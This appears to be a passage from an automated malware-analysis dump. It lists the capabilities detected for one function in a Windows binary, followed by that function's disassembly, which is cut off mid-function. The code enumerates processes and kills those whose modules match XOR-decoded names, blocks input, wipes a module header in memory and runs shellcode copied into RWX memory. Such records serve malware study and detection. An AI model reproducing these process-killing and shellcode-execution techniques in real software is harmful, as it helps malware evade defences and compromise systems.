Function at 0x1400758e0
Capabilities:
Allocate or change rwx memory
Block operations on executable memory pages using arbitrary code guard
Create thread
Delete file
Encode data using xor
Enumerate process modules
Execute command
Execute shellcode via indirect call
Get system information on windows
Set console window title
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3500]
mov eax, 0x3600
call fcn.1401187b0
sub rsp, rax
movaps xmmword [rsp + 0x35f0], xmm6
movaps xmmword [rsp + 0x35e0], xmm7
mov rax, qword [0x1401cc1c0]
xor rax, rsp
mov qword [rbp + 0x34d0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
lea rcx, [rbp + 0x3528]
movabs rdi, 0xff00ff00ff00ff07
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rcx
mov rax, qword [rcx]
xor rax, rdi
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x98], rax
mov qword [rcx], r14
lea r8, [rbp + 0x50]
mov edx, 0x1000
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
mov r13d, dword [reloc.WS2_32.dll_accept]
test eax, eax
je 0x14007623b
mov r12d, dword [rbp + 0x50]
shr r12d, 2
mov dword [rsp + 0x40], r12d
mov esi, r14d
mov dword [rbp - 0x60], r14d
test r12d, r12d
je 0x14007623b
lea r15, [rbp + 0xb0]
mov qword [rsp + 0x48], r15
nop dword [rax]
mov ebx, dword [r15]
mov dword [rbp - 0x68], ebx
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14007621a
lea r9, [rbp + 0x58]
mov r8d, 0x2000
lea rdx, [rbp + 0x10b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x140076211
mov ecx, r14d
mov dword [rbp - 0x64], ecx
test dword [rbp + 0x58], 0xfffffff8
jbe 0x140076211
nop dword [rax + rax]
mov edx, ecx
mov r9d, 0x104
lea r8, [rbp + 0x30b0]
mov rdx, qword [rbp + rdx*8 + 0x10b0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1400761ee
lea rcx, [rbp + 0x30b0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
test rax, rax
je 0x140075a7c
lea rcx, [rbp + 0x30b0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
mov edx, 0x104
lea rcx, [rbp + 0x32c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movups xmm0, xmmword [0x14019dd48]
movups xmmword [rbp + 0x18], xmm0
mov ecx, dword [0x14019dd58]
mov dword [rbp + 0x28], ecx
movzx eax, word [0x14019dd5c]
mov edx, 0x78
mov word [rbp + 0x18], dx
xor word [rbp + 0x1a], 0x39
xor word [rbp + 0x1c], 0x3a
xor word [rbp + 0x1e], 0x3b
xor word [rbp + 0x20], 0x3c
xor word [rbp + 0x22], 0x3d
xor word [rbp + 0x24], 0x3e
xor word [rbp + 0x26], 0x3f
xor cx, 0x40
mov word [rbp + 0x28], cx
xor word [rbp + 0x2a], 0x41
xor ax, 0x42
mov word [rbp + 0x2c], ax
lea rax, [rbp + 0x18]
mov qword [rbp - 0x38], rax
movups xmm3, xmmword [str.LZY_r_b]
movups xmmword [rbp - 0x58], xmm3
movsd xmm0, qword [0x14019cd28]
movsd qword [rbp - 0x48], xmm0
movzx eax, word [0x14019cd30]
mov word [rbp - 0x40], ax
mov edi, r14d
cmp r13d, 2
jl 0x140075bee
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm2, xmmword [0x14019edd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.88888888]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp - 0x58], xmm2
movdqa xmm3, xmmword [0x14019edf0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.88888888]
movq xmm0, qword [rbp - 0x50]
xorps xmm2, xmm0
movq qword [rbp - 0x50], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp - 0x58]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, di
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0xd
jl 0x140075c00
lea rax, [rbp - 0x58]
mov qword [rbp - 0x30], rax
movups xmm7, xmmword [str.LZY_r_b]
movups xmmword [rsp + 0x50], xmm7
movsd xmm0, qword [0x14019cd28]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x14019cd30]
mov word [rsp + 0x68], ax
mov edi, r14d
cmp r13d, 2
jl 0x140075d54
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [str.88888888]
movdqa xmm2, xmmword [0x14019edd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rsp + 0x50], xmm3
movdqa xmm2, xmmword [0x14019edf0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x58]
xorps xmm3, xmm0
movq qword [rsp + 0x58], xmm3
mov edi, 8
movsxd rax, edi
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, di
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0xd
jl 0x140075d60
lea rax, [rsp + 0x50]
mov qword [rbp - 0x28], rax
movups xmm0, xmmword [str.kZCWP_vV__]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x14019e290]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x14019e2a0]
movups xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x14019e2b0]
movsd qword [rbp + 0x90], xmm0
mov edi, r14d
cmp r13d, 2
jl 0x140075eea
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm7, xmmword [str.88888888]
lea rcx, [rbp + 0x60]
nop
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edi, 8
lea rcx, [rcx + 0x10]
cmp edi, 0x18
jl 0x140075e00
cmp edi, 0x1c
jge 0x140075f30
movsxd rax, edi
lea r8, [rbp + 0x60]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, di
sub ax, cx
add ax, 0x38
xor word [r8], ax
inc edi
lea r8, [r8 + 2]
cmp edi, 0x1c
jl 0x140075f00
lea rax, [rbp + 0x60]
mov qword [rbp - 0x20], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140117be0
mov r15, rax
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [rbp - 0x38]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
lea r12, [r15 + 0x20]
mov rsi, r15
cmp r15, r12
je 0x1400761d8
nop word [rax + rax]
mov rdx, qword [rsi]
lea rcx, [rbp + 0x32c0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400761cb
mov r8d, ebx
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140075fb3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call fcn.140060320
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rbp + 0x64]
mov r9d, 4
mov r8d, 0x3000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rbp + 0x38]
mov r8d, 1
mov edx, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [str.sHUYQ_r_rn_._D]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x14019cd10]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x14019cd14]
mov byte [rsp + 0x3c], al
mov ecx, r14d
cmp r13d, 2
jl 0x14007613c
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm2, xmmword [0x14019edd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14019eea0]
movd xmm0, dword [str.sHUYQ_r_rn_._D]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x14019edf0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14019ee10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14019eea0]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov ecx, 8
movsxd rax, ecx
lea rdi, [rsp + 0x30]
add rdi, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [rdi], al
inc ecx
lea rdi, [rdi + 1]
cmp ecx, 0xd
jl 0x140076150
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400761c8
lea r9, [rbp + 0x54]
mov edx, 0x1000
mov r8d, 4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, rbx
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
lea r9, [rbp + 0x54]
mov r8d, dword [rbp + 0x54]
mov edx, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [rbp - 0x68]
add rsi, 8
cmp rsi, r12
jne 0x140075f70
test r15, r15
je 0x1400761ea
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, r15
call fcn.140117e70
mov rdi, qword [rbp - 0x70]
mov ecx, dword [rbp - 0x64]
inc ecx
mov dword [rbp - 0x64], ecx
mov eax, dword [rbp + 0x58]
shr eax, 3
cmp ecx, eax
jb 0x140075a20
mov esi, dword [rbp - 0x60]
mov r15, qword [rsp + 0x48]
mov r12d, dword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
mov dword [rbp - 0x60], esi
add r15, 4
mov qword [rsp + 0x48], r15
cmp esi, r12d
jb 0x1400759c0
movabs rdi, 0xff00ff00ff00ff07
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov r12d, 3
lea rsi, [0x14007fe80]
lea r15, [0x140000000]
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400762ad
mov rdx, r14
cmp rax, rsi
je 0x14007629c
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140076284
jmp 0x1400762ad
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007638f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400762d4
mov rdi, r14
jmp 0x14007636e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400762e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x140071220]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400763fb
mov rdx, r14
cmp rax, rsi
je 0x1400763ea
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400763d2
jmp 0x1400763fb
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x1400764df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140076422
mov rdi, r14
jmp 0x1400764be
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140076430
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x140060560]
call rdi
nop
movabs rdi, 0xff00ff00ff00ff07
xor rbx, rdi
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
call fcn.14005fff0
lea rcx, [0x141254790]
call fcn.1400b25e0
mov dword [rbp + 0x5c], 1
mov r8d, 4
lea rdx, [rbp + 0x5c]
lea ecx, [r8 + 4]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x1400755b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x140076810
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400765b9
mov rdx, r14
nop dword [rax]
cmp rax, rsi
je 0x1400765a8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140076590
jmp 0x1400765b9
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007669f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400765e0
mov rdi, r14
jmp 0x14007667e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400765f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x14007670b
mov rdx, r14
cmp rax, rsi
je 0x1400766fa
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400766e2
jmp 0x14007670b
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x1400767ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140076732
mov rdi, r14
jmp 0x1400767ce
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140076740
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call rdi
nop
movabs rdi, 0xff00ff00ff00ff07
xor rbx, rdi
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140075040]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x18], rax
test rax, rax
jne 0x140076af0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140076899
mov rdx, r14
cmp rax, rsi
je 0x140076888
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140076870
jmp 0x140076899
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007697f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400768c0
mov rdi, r14
jmp 0x14007695e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400768d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
